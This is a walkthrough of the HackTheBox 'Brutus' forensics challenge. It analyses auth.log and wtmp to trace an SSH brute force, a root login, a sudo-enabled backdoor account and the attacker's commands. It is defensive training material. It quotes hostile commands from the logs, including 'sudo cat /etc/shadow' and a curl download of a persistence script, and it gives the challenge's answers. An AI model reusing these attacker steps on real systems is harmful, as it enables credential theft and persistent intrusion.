Hello Friend
LinkedIn
  • Hello Friend
  • CTF
    • HackTheBox
      • Ambassador
      • BoardLight
      • Driver
      • Editorial
      • Love
      • Photobomb
      • Return
      • Shocker
      • Squashed
      • TwoMillion
    • Vulnhub
      • Venom 1
    • HackMyVM
      • Eyes
    • TheHackersLabs
      • Accounting
    • Sherlocks
      • Brutus
Fornecido por GitBook
Nesta página
  • Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?
  • The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?
  • Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?
  • SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
  • The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
  • What is the MITRE ATT&CK sub-technique ID used for persistence?
  • How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)
  • The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
  1. CTF
  2. Sherlocks

Brutus

#very-easy #HackTheBox #Sherlocks #DFIR

AnteriorSherlocks

Atualizado há 4 meses

Incident Analysis: Brute-Force Attack on Confluence Server

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.


Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

Objective: Determine the IP address used in the brute-force attack.

  • What to Look For: An IP address associated with failed login attempts.

  • Source of Information: The auth.log file, which records authentication attempts.

  • Indicators of a Brute-Force Attack: Look for multiple failed login attempts from the same source, indicated by messages such as "authentication failure" and "failed password."

  • Identifying the Source: Focus on the rhost field in the log entries.

Analyzing the auth.log

  1. Understanding auth.log:

    • The auth.log file is a critical system log that records both successful and failed authentication attempts, making it essential for identifying unauthorized access.

    • Each log entry typically includes a timestamp, hostname, the process generating the log (e.g., sshd for SSH), and a message describing the event.

  2. Identifying Brute-Force Patterns:

    • Brute-force attacks are characterized by numerous failed login attempts from a single source within a short timeframe.

    • Look for patterns such as:

      • Repeated "authentication failure" messages.

      • Multiple "failed password" messages.

      • The same rhost (remote host) value appearing frequently.

      • Attempts against various usernames.

Technical Analysis of the Brute-Force Attack

In our investigation of the brute-force attack, we identified the attacker's IP address as 65.2.161.68 by analyzing the auth.log file.

grep -Ei 'Failed password|authentication failure' auth.log | grep -oP 'rhost=\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}' | uniq -c
     48 rhost=65.2.161.68

grep -Ei 'Failed password|authentication failure' auth.log

  • This part searches the auth.log file for lines containing either "Failed password" or "authentication failure", ignoring case.

  • It filters out irrelevant log entries, focusing only on failed login attempts.

| grep -oP 'rhost=\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}'

  • This takes the output of the previous command and extracts the IP address associated with rhost=.

  • It uses a regular expression to match the IP address format.

| uniq -c

  • This takes the output of the previous command and counts the occurrences of each unique IP address.

  • It shows how many times each IP address appeared in the failed login attempts.

65.2.161.68


The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

Objective: Determine the username of the account that the attacker successfully accessed after the brute-force attempts.

Thinking Process:

  • What am I looking for? A successful login event recorded in the auth.log file.

  • Where can I find this information? In the auth.log file, which logs all authentication attempts, both successful and failed.

  • What does a successful login look like in logs? Look for log entries that indicate successful authentication, typically marked by phrases such as "Accepted password" or "session opened."

  • How do I identify the username? The username will be included in the log message associated with the successful login event.

Based on the provided auth.log snippets, the username of the account that the attacker successfully gained access to is root.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -oiE 'accepted password for .?*' auth.log | cut -d' ' -f4 | uniq -c
      3 root
      1 cyberjunkie

While all the "Accepted password" lines indicate successful logins, the successful login related to the brute-force attack is the one from the IP address 65.2.161.68.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -iE 'accepted password for .* 65.2.161.68' auth.log -A2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
--
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.

root


Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Objective: Determine the precise timestamp when the attacker manually logged into the server to execute their malicious objectives, following the initial brute-force access.

Understanding the Challenge:

  • Initial Brute-Force Login: The attacker's first successful login (March 6 06:31:40) was likely a result of the brute-force attack. This session was probably brief, used to validate the credentials.

  • Manual Login: The attacker then logged in again, using the compromised credentials, to perform their actual tasks. This is the login we need to pinpoint.

  • Importance of wtmp: The wtmp log file is crucial here. It records login and logout events on the system, providing a reliable source for identifying user activity.

Analyzing the wtmp Log:

  • The utmpdump command is a utility that can dump the contents of utmp and wtmp files in a human-readable format. It provides a more detailed view of the data than last.

  • This will output a detailed list of login and logout events, including timestamps, user names, terminal information, and more.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ utmpdump wtmp | grep 65.2.161.68
Utmp dump of wtmp
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:37:35,475575+00:00]
  • [7]: This indicates the type of record, which is USER_PROCESS (a login event).

  • [02549] and [02667]: These are the process IDs (PIDs) of the processes that initiated the login.

  • [ts/1]: This is the terminal or pseudo-terminal associated with the login.

  • [root] and [cyberjunkie]: These are the usernames of the users who logged in.

  • [pts/1]: This is the pseudo-terminal device.

  • [65.2.161.68]: This is the IP address of the remote host.

  • [2024-03-06T06:32:45,387923+00:00] and [2024-03-06T06:37:35,475575+00:00]: These are the timestamps of the login events in ISO 8601 format.

From the utmpdump output, we can clearly see that:

  • The root user logged in from 65.2.161.68 at 2024-03-06T06:32:45,387923+00:00.

Let’s convert to the "YYYY-MM-DD HH:MM:SS" format. It is widely considered a best practice for several reasons:

  • Clarity: It's unambiguous and easy to read, regardless of the user's locale or time zone.

  • Sorting: It sorts chronologically, making it easy to analyze time-based data.

  • Consistency: It's a standard format used in many systems and applications, ensuring consistency across different platforms.

  • Database Compatibility: It's compatible with most database systems, making it easy to store and query time-based data.

The date command is a powerful tool for manipulating dates and times. You can use it to convert timestamps to the desired format.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ date -d "2024-03-06T06:32:45.387923+00:00" +"%Y-%m-%d %H:%M:%S"
2024-03-06 06:32:45

The timestamp when the attacker manually logged in to the server as root to carry out their objectives is 2024-03-06 06:32:45.

2024-03-06 06:32:45


SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

  • SSH sessions are assigned unique session numbers upon login, aiding in session identification and management.

  • We need to identify the session number associated with the attacker's manual login to the root account, which we previously determined occurred at 2024-03-06 06:32:45.

Analyzing the auth.log, we observe two relevant login attempts:

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -i 'accepted password .* root .* 65.2.161.68' auth.log -A3
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
  • Session 34: This session corresponds to the initial brute-force attempt, where the attacker successfully guessed the root password. The immediate disconnection suggests a brief credential validation.

  • Session 37: This session represents the attacker's manual login after obtaining the root credentials. This is the session where the attacker performed malicious activities.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -i 'New session 37 of user root' auth.log -A25 | grep -v 'CRON'
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'

Further analysis of session 37 reveals the attacker's actions, including:

  • Creation of the cyberjunkie user account.

  • Setting a password for the new user.

  • Modifying user information.

Therefore, session 37 is the session where the attacker carried out their objectives.

37


The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

To maintain access, attackers often create new user accounts or modify existing ones. This ensures they can regain entry even if their initial access method is compromised. We need to identify the user account created by the attacker and the actions that granted it higher privileges.

Specifically, we're looking for log entries indicating:

  • The creation of a new user account, typically using commands like useradd or similar.

  • The assignment of higher privileges, often achieved by adding the user to the sudo group via usermod.

By examining the auth.log, we can observe the attacker's actions within session 37:

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -i 'New session 37 of user root' auth.log -A100 | grep -v 'CRON'
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl <https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
  • The attacker logged in as root, where he created the cyberjunkie user and granted it sudo privileges.

  • The cyberjunkie user was created as a backdoor account for persistent access.

  • The attacker subsequently logged in as cyberjunkie in a new session.

  • The first sudo command executed by cyberjunkie was /usr/bin/cat /etc/shadow, likely to verify the newly granted privileges.

cyberjunkie


What is the MITRE ATT&CK sub-technique ID used for persistence?

The MITRE ATT&CK framework is a curated knowledge base of adversary tactics and techniques, used to classify and understand attacker behavior based on real-world observations. Persistence, in cybersecurity, refers to the methods an attacker uses to maintain access to a system across interruptions, such as system reboots or credential changes. Each technique and sub-technique within the framework is assigned a unique ID.

In this scenario, the attacker created a new local user account, cyberjunkie, and added it to the sudo group to ensure continued access.

This action directly corresponds to a specific sub-technique within the MITRE ATT&CK framework.

Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

The relevant sub-technique is “T1136”:

    • This sub-technique describes how adversaries may create local accounts on a system to maintain access, which aligns with the attacker's creation of the cyberjunkie user.

T1136.001


How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

The attacker's first successful login, as recorded in the wtmp file, occurred at Mar 6 06:32:45.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ utmpdump wtmp | grep 65.2.161.68
Utmp dump of wtmp
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:37:35,475575+00:00]

The auth.log indicates that session 37, associated with this login, ended at Mar 6 06:37:24.

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -i 'session 37' auth.log
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

The difference between the timestamps 06:32:45 and 06:37:24 is 279 seconds.

  1. From 06:32:45 to 06:37:24 is 5 minutes, which is 5 * 60 = 300 seconds.

  2. Subtract the 21 seconds difference between 45 and 24.

So, 300 - 21 = 279 seconds.

279


The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

The auth.log reveals the following sudo command executed by the cyberjunkie user:

ubuntu@DESKTOP-HAGISP5:~/HTB/Brutus/evidences$ grep -i 'New session 37 of user root' auth.log -A55 | grep -v 'CRON' | tail -n3
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl <https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

The full command executed with sudo to download the script is:

/usr/bin/curl <https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>

https://attack.mitre.org/techniques/T1136/001/
https://app.hackthebox.com/sherlocks/Brutus